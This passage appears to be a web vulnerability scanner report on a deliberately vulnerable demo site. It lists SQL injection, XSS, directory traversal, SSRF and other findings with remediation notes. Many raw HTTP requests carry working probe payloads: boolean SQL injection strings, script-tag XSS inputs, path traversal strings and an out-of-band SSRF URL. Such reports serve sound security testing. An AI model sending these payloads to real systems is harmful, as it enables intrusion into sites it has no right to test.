Cookie input **login** was set to **-1' OR 3*2*1=6 AND 00049=00049 --**

Tests performed:

- -1' OR 2+49-49-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+49-49-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+49-49) -- => **FALSE**
- -1' OR 3*2>(0+5+49-49) -- => **FALSE**
- -1' OR 2+1-1-1=1 AND 00049=00049 -- => **TRUE**
- -1' OR 00049=00049 AND 3+1-1-1=1 -- => **FALSE**
- -1' OR 3*2=5 AND 00049=00049 -- => **FALSE**
- -1' OR 3*2=6 AND 00049=00049 -- => **TRUE**
- -1' OR 3*2*0=6 AND 00049=00049 -- => **FALSE**
- -1' OR 3*2*1=6 AND 00049=00049 -- => **TRUE**

Original value: **1**

Request headers

```
GET /listproducts.php HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%2000049=00049%20--%20; mycookie=3
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
```

```
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Cross site scripting

Severity	**High**
Reported by module	Scripting (XSS.script)

Description

This script is possibly vulnerable to Cross Site Scripting (XSS) attacks.

Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.

Impact

Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account, impersonating the user. It is also possible to modify the content of the page presented to the user.

Recommendation

Your script should filter metacharacters from user input.

References

Acunetix Cross Site Scripting Attack (http://www.acunetix.com/websitesecurity/cross-site-scripting.htm)
VIDEO: How Cross-Site Scripting (XSS) Works (http://www.acunetix.com/blog/web-security-zone/video-how-cross-site-scripting-xss-works/)
The Cross Site Scripting Faq (http://www.cgisecurity.com/xss-faq.html)
OWASP Cross Site Scripting (http://www.owasp.org/index.php/Cross_Site_Scripting)
XSS Filter Evasion Cheat Sheet (https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)
Cross site scripting (http://en.wikipedia.org/wiki/Cross-site_scripting)
OWASP PHP Top 5 (http://www.owasp.org/index.php/PHP_Top_5)
How To: Prevent Cross-Site Scripting in ASP.NET (http://msdn.microsoft.com/en-us/library/ms998274.aspx)

Affected items

/hpp/params.php

Details

URL encoded GET input **p** was set to **valid'"()&%<acx><ScRiPt >Mhcx(9034)</ScRiPt>**

Request headers

```
GET /hpp/params.php?p=valid'"()%26%25<acx><ScRiPt%20>Mhcx(9034)</ScRiPt>&pp=12 HTTP/1.1
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/hpp/params.php

Details

URL encoded GET input **pp** was set to **12'"()&%<acx><ScRiPt >Mhcx(9989)</ScRiPt>**

Request headers

```
GET /hpp/params.php?p=valid&pp=12'"()%26%25<acx><ScRiPt%20>Mhcx(9989)</ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
```

```
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/search.php

Details

URL encoded POST input **searchFor** was set to **1'"()&%<acx><ScRiPt >w8xr(9270)</ScRiPt>**

Request headers

```
POST /search.php?test=1 HTTP/1.1
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
searchFor=1'"()%26%25<acx><ScRiPt%20>w8xr(9270)</ScRiPt>
```

/guestbook.php

Details

URL encoded POST input **name** was set to **anonymous%20user'"()&%<acx><ScRiPt >VLKY(9161)</ScRiPt>**

Request headers

```
POST /guestbook.php HTTP/1.1
Content-Length: 96
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
submit=add%20message&name=anonymous%2520user'"()%26%25<acx><ScRiPt%20>VLKY(9161)
</ScRiPt>&text=1
```

/guestbook.php

Details

URL encoded POST input **text** was set to **1'"()&%<acx><ScRiPt >VLKY(9285)</ScRiPt>**

Request headers

```
POST /guestbook.php HTTP/1.1
Content-Length: 94
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
submit=add%20message&name=anonymous%20user&text=1'"()%26%25<acx><ScRiPt%20>VLKY(9285)
</ScRiPt>
```

/hpp

Details

URL encoded GET input **pp** was set to **12'"()&%<acx><ScRiPt >xltO(9433)</ScRiPt>**

Request headers

```
GET /hpp/?pp=12'"()%26%25<acx><ScRiPt%20>xltO(9433)</ScRiPt> HTTP/1.1
```

```
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/listproducts.php

Details

URL encoded GET input **cat** was set to **1'"()&%<acx><ScRiPt >Nmye(9442)</ScRiPt>**

Request headers

```
GET /listproducts.php?artist=1&cat=1'"()%26%25<acx><ScRiPt%20>Nmye(9442)</ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/comment.php

Details

URL encoded POST input **name** was set to **<your%20name%20here>'"()&%<acx><ScRiPt >fbZS(9175)</ScRiPt>**

Request headers

```
POST /comment.php HTTP/1.1
Content-Length: 134
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
Submit=Submit&comment=1&name=<your%2520name%2520here>'"()%26%25<acx><ScRiPt%20>fbZS(9175)
</ScRiPt>&phpaction=echo%20%24_POST[comment];
```

/secured/newuser.php

Details

URL encoded POST input **uaddress** was set to **3137%20Laguna%20Street'"()&%<acx><ScRiPt >crVz(9662)</ScRiPt>**

Request headers

```
POST /secured/newuser.php HTTP/1.1
Content-Length: 240
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
signup=signup&uaddress=3137%2520Laguna%2520Street'"()%26%25<acx><ScRiPt%20>crVz(9662)
</ScRiPt>&ucc=4111111111111111&uemail=sample%40email.tst&upass=g00dPa%24%24w0rD&upass2=g00dP
a%24%24w0rD&uphone=555-666-0606&urname=mrykumnf&uuname=mrykumnf
```

/secured/newuser.php

Details

URL encoded POST input **ucc** was set to **4111111111111111'"()&%<acx><ScRiPt >crVz(9283)</ScRiPt>**

Request headers

```
POST /secured/newuser.php HTTP/1.1
Content-Length: 236
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111'"()%26%25<acx>
<ScRiPt%20>crVz(9283)
</ScRiPt>&uemail=sample%40email.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=55
5-666-0606&urname=wsohlfcn&uuname=wsohlfcn
```

/secured/newuser.php

Details

URL encoded POST input **uemail** was set to **sample%40email.tst'"()&%<acx><ScRiPt >crVz(9195)</ScRiPt>**

Request headers

```
POST /secured/newuser.php HTTP/1.1
Content-Length: 238
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%2540email.t
st'"()%26%25<acx><ScRiPt%20>crVz(9195)
</ScRiPt>&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-
0606&urname=etjfwqap&uuname=etjfwqap
```

/secured/newuser.php

Details

URL encoded POST input **uphone** was set to **555-666-0606'"()&%<acx><ScRiPt >crVz(9380)</ScRiPt>**

Request headers

```
POST /secured/newuser.php HTTP/1.1
Content-Length: 236
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.tst
&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606'"()%26%25<acx>
<ScRiPt%20>crVz(9380)</ScRiPt>&urname=useprgvn&uuname=useprgvn
```

/secured/newuser.php

Details

URL encoded POST input **urname** was set to **useprgvn'"()&%<acx><ScRiPt >crVz(9781)</ScRiPt>**

Request headers

```
POST /secured/newuser.php HTTP/1.1
Content-Length: 236
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
```

```
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.tst
&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606&urname=useprgvn'"
()%26%25<acx><ScRiPt%20>crVz(9781)</ScRiPt>&uuname=vfqajanp
```

/secured/newuser.php

Details

URL encoded POST input **uuname** was set to **vfqajanp'"()&%<acx><ScRiPt >crVz(9076)</ScRiPt>**

Request headers

```
POST /secured/newuser.php HTTP/1.1
Content-Length: 236
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.tst
&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-
0606&urname=rgevktvy&uuname=vfqajanp'"()%26%25<acx><ScRiPt%20>crVz(9076)</ScRiPt>
```

/hpp/index.php

Details

URL encoded GET input **pp** was set to **12'"()&%<acx><ScRiPt >bBHh(9192)</ScRiPt>**

Request headers

```
GET /hpp/index.php?pp=12'"()%26%25<acx><ScRiPt%20>bBHh(9192)</ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/listproducts.php

Details

URL encoded GET input **artist** was set to **3'"()&%<acx><ScRiPt >Zbcv(9894)</ScRiPt>**

Request headers

```
GET /listproducts.php?artist=3'"()%26%25<acx><ScRiPt%20>Zbcv(9894)</ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/guestbook.php

Details

Cookie input **login** was set to **1"onmouseover=JZdQ(9401)"**

The input is reflected inside a tag parameter between double quotes.

Request headers

```
GET /guestbook.php HTTP/1.1
Cookie: login=1"onmouseover=JZdQ(9401)"; mycookie=3
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/AJAX/showxml.php

Details

Cookie input **mycookie** was set to **3'"()&%<acx><ScRiPt >ZWef(9403)</ScRiPt>**

Request headers

```
GET /AJAX/showxml.php HTTP/1.1
Cookie: mycookie=3'"()&%<acx><ScRiPt%20>ZWef(9403)</ScRiPt>
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/404.php

Details

URI was set to **1<ScRiPt>1EIu(9932)</ScRiPt>**
The input is reflected inside a text element.

Request headers

```
GET /404.php?1<ScRiPt>1EIu(9932)</ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Directory traversal

Severity	**High**
Reported by module	Scripting (Directory_Traversal.script)

Description

This script is possibly vulnerable to directory traversal attacks.

Directory Traversal is a vulnerability which allows attackers to access restricted directories and read files outside of the web server's root directory.

Impact

By exploiting directory traversal vulnerabilities, attackers step out of the root directory and access files in other directories. As a result, attackers might view restricted files or execute commands, leading to a full compromise of the Web server.

Recommendation

Your script should filter metacharacters from user input.

References

Acunetix Directory Traversal Attacks (http://www.acunetix.com/websitesecurity/directory-traversal/)

Affected items

/showimage.php
Details
URL encoded GET input **file** was set to **1ACUSTARTFILE/../../xxx\..\..\ACUENDFILE**
Request headers

```
GET /showimage.php?file=1ACUSTARTFILE/../../xxx%5c..%5c..%5cACUENDFILE HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Macromedia Dreamweaver remote database scripts

Severity	**High**
Reported by module	Scripting (Dreamweaver_Scripts.script)

Description

Macromedia Dreamweaver has created a directory (_mmServerScripts or _mmDBScripts) that contains scripts for testing database connectivity. One of these scripts (mmhttpdb.php or mmhttpdb.asp) can be accessed without user ID or password and contains numerous operations, such as listing Datasource Names or executing arbitrary SQL queries.

Impact

It is possible to execute arbitrary SQL queries and list datasource names.

Recommendation

Remove these directories from production systems.

References

NGSSoftware advisory (http://www.net-security.org/vuln.php?id=3376)
CVE-2004-1893 (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1893)

Affected items

Web Server
Details
Macromedia Dreamweaver scripts found at : //_mmServerScripts/MMHTTPDB.php
Request headers

```
GET //_mmServerScripts/MMHTTPDB.php HTTP/1.1
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

nginx SPDY heap buffer overflow

Severity	**High**
Reported by module	Scripting (Version_Check.script)

Description

A heap-based buffer overflow in the SPDY implementation in nginx 1.3.15 before 1.4.7 and 1.5.x before 1.5.12 allows remote attackers to execute arbitrary code via a crafted request. The problem affects nginx compiled with the ngx_http_spdy_module module (which is not compiled by default) and without --with-debug configure option, if the "spdy" option of the "listen" directive is used in a configuration file.

Impact

An attacker can cause a heap memory buffer overflow in a worker process by using a specially crafted request, potentially resulting in arbitrary code execution

Recommendation

Upgrade nginx to the latest version of apply the patch provided by the vendor.

References

nginx security advisory (CVE-2014-0133) (http://mailman.nginx.org/pipermail/nginx-announce/2014/000135.html)
nginx patch (http://nginx.org/download/patch.2014.spdy2.txt)
CVE-2014-0133 (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0133)

Affected items

Web Server
Details
Current version is : nginx/1.4.1.
Request headers

PHP allow_url_fopen enabled (AcuSensor)

Severity	**High**
Reported by module	

Description

The PHP configuration directive allow_url_fopen is enabled. When enabled, this directive allows data retrieval from remote locations (web site or FTP server). A large number of code injection vulnerabilities reported in PHP-based web applications are caused by the combination of enabling allow_url_fopen and bad input filtering.

allow_url_fopen is enabled by default.

Impact

Application dependant - possible remote file inclusion.

Recommendation

You can disable allow_url_fopen from php.ini or .htaccess.

php.ini
allow_url_fopen = 'off'

.htaccess
php_flag allow_url_fopen off

Affected items

Web Server
Details
Current setting is : **allow_url_fopen = On**
Request headers

Remote file inclusion XSS

Severity	**High**
Reported by module	Scripting (Remote_File_Inclusion_XSS.script)

Description

This script is possibly vulnerable to Cross Site Scripting (XSS) attacks.

Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. The server opens arbitrary URLs and puts the content retrieved from the URL into the response without filtering.

Impact

Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account, impersonating the user. It is also possible to modify the content of the page presented to the user.

Recommendation

Your server side code should verify if the URL from the user input is allowed to be retrieved and displayed or filter the response from the URL according to the context in which it is displayed.

References

Acunetix Cross Site Scripting Attack (http://www.acunetix.com/websitesecurity/cross-site-scripting.htm)
VIDEO: How Cross-Site Scripting (XSS) Works (http://www.acunetix.com/blog/web-security-zone/video-how-cross-site-scripting-xss-works/)
The Cross Site Scripting Faq (http://www.cgisecurity.com/xss-faq.html)
OWASP Cross Site Scripting (http://www.owasp.org/index.php/Cross_Site_Scripting)
XSS Filter Evasion Cheat Sheet (https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)
Cross site scripting (http://en.wikipedia.org/wiki/Cross-site_scripting)
OWASP PHP Top 5 (http://www.owasp.org/index.php/PHP_Top_5)
How To: Prevent Cross-Site Scripting in ASP.NET (http://msdn.microsoft.com/en-us/library/ms998274.aspx)

Affected items

/showimage.php
Details
URL encoded GET input **file** was set to **http://testasp.vulnweb.com/t/xss.html?%00.jpg**
Request headers

```
GET /showimage.php?file=http://testasp.vulnweb.com/t/xss.html%3f%2500.jpg HTTP/1.1
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Script source code disclosure

Severity	**High**
Reported by module	Scripting (Script_Source_Code_Disclosure.script)

Description

It is possible to read the source code of this script by using script filename as a parameter. It seems that this script includes a file which name is determined using user-supplied data. This data is not properly validated before being passed to the include function.

Impact

An attacker can gather sensitive information (database connection strings, application logic) by analyzing the source code. This information can be used to launch further attacks.

Recommendation

Analyze the source code of this script and solve the problem.

References

Source Code Disclosure (http://www.imperva.com/resources/glossary?term=source_code_disclosure)

Affected items

/showimage.php

Details

URL encoded GET input **file** was set to **showimage.php**
Pattern found:

```
<?php

// header("Content-Length: 1" /*. filesize($name)*/);

if( isset($_GET["file"]) && !isset($_GET["size"]) ){

        // open the file in a binary mode

        header("Content-Type: image/jpeg");

        $name = $_GET["file"];

        $fp = fopen($name, 'rb');



        // send the right headers

        header("Content-Type: image/jpeg");



        // dump the picture and stop the script

        fpassthru($fp);

        exit;

}

elseif (isset($_GET["file"]) && isset($_GET["size"])){

        header("Content-Type: image/jpeg");

        $name = $_GET["file"];

        $fp  ...
```

Request headers

```
GET /showimage.php?file=showimage.php HTTP/1.1
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Server side request forgery

Severity	**High**
Reported by module	Scripting (Server_Side_Request_Forgery.script)

Description

SSRF as in Server Side Request Forgery is a vulnerability that allows an attacker to force server interfaces into sending packets initiated by the victim server to the local interface or to another server behind the firewall. Consult Web References for more information about this problem.

Impact

The impact varies according to the affected server interface.

Recommendation

Your script should properly sanitize user input.

References

SSRF VS. BUSINESS-CRITICAL APPLICATIONS (https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf)

Affected items

/showimage.php

Details

URL encoded GET input file was set to **http://hitDboPkB8twp.bxss.me/**

An HTTP request was initiated for the domain **hitDboPkB8twp.bxss.me** which indicates that this script is vulnerable to SSRF.

HTTP request details:

```
IP address: 176.28.50.165
User agent:
```

Request headers

```
GET /showimage.php?file=http://hitDboPkB8twp.bxss.me/ HTTP/1.1
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

SQL injection

Severity	**High**
Reported by module	Scripting (Sql_Injection.script)

Description

This script is possibly vulnerable to SQL Injection attacks.

SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters.

This is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against, there is a large number of web applications vulnerable.

Impact

An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information.

Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use sub selects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system.

Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server functions). If an attacker can obtain access to these procedures it may be possible to compromise the entire machine.

Recommendation

Your script should filter metacharacters from user input.
Check detailed information for more information about fixing this vulnerability.

References

Acunetix SQL Injection Attack (http://www.acunetix.com/websitesecurity/sql-injection.htm)
VIDEO: SQL Injection tutorial (http://www.acunetix.com/blog/web-security-zone/video-sql-injection-tutorial/)
OWASP Injection Flaws (http://www.owasp.org/index.php/Injection_Flaws)
How to check for SQL injection vulnerabilities (http://www.acunetix.com/websitesecurity/sql-injection2/)
SQL Injection Walkthrough (http://www.securiteam.com/securityreviews/5DP0N1P76E.html)
OWASP PHP Top 5 (http://www.owasp.org/index.php/PHP_Top_5)

Affected items

/search.php

Details

URL encoded GET input **test** was set to **1ACUSTART'"RBch2ACUEND**

Request headers

```
POST /search.php?test=1ACUSTART'"RBch2ACUEND HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Content-Length: 11
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
searchFor=1
```

/search.php

Details

URL encoded POST input **searchFor** was set to **1ACUSTART'"E9Mv6ACUEND**

Request headers

```
POST /search.php?test=1 HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Content-Length: 32
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
```

```
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
searchFor=1ACUSTART'"E9Mv6ACUEND
```

/sendcommand.php

Details

URL encoded POST input **cart_id** was set to **1ACUSTART'"imLRIACUEND**

Request headers

```
POST /sendcommand.php HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Content-Length: 30
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
cart_id=1ACUSTART'"imLRIACUEND
```

/listproducts.php

Details

URL encoded GET input **cat** was set to **1ACUSTART'"TJ9s9ACUEND**

Request headers

```
GET /listproducts.php?artist=1&cat=1ACUSTART'"TJ9s9ACUEND HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/userinfo.php

Details

URL encoded POST input **pass** was set to **1ACUSTART'"4qnsQACUEND**

Request headers

```
POST /userinfo.php HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Content-Length: 42
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
pass=1ACUSTART'"4qnsQACUEND&uname=oqdpxhoc
```

/userinfo.php

Details

URL encoded POST input **uname** was set to **1ACUSTART'"TNsw2ACUEND**

Request headers

```
POST /userinfo.php HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
pass=g00dPa%24%24w0rD&uname=1ACUSTART'"TNsw2ACUEND
```

/AJAX/infoartist.php

Details

URL encoded GET input **id** was set to **1ACUSTART'"P50MYACUEND**

Request headers

```
GET /AJAX/infoartist.php?id=1ACUSTART'"P50MYACUEND HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
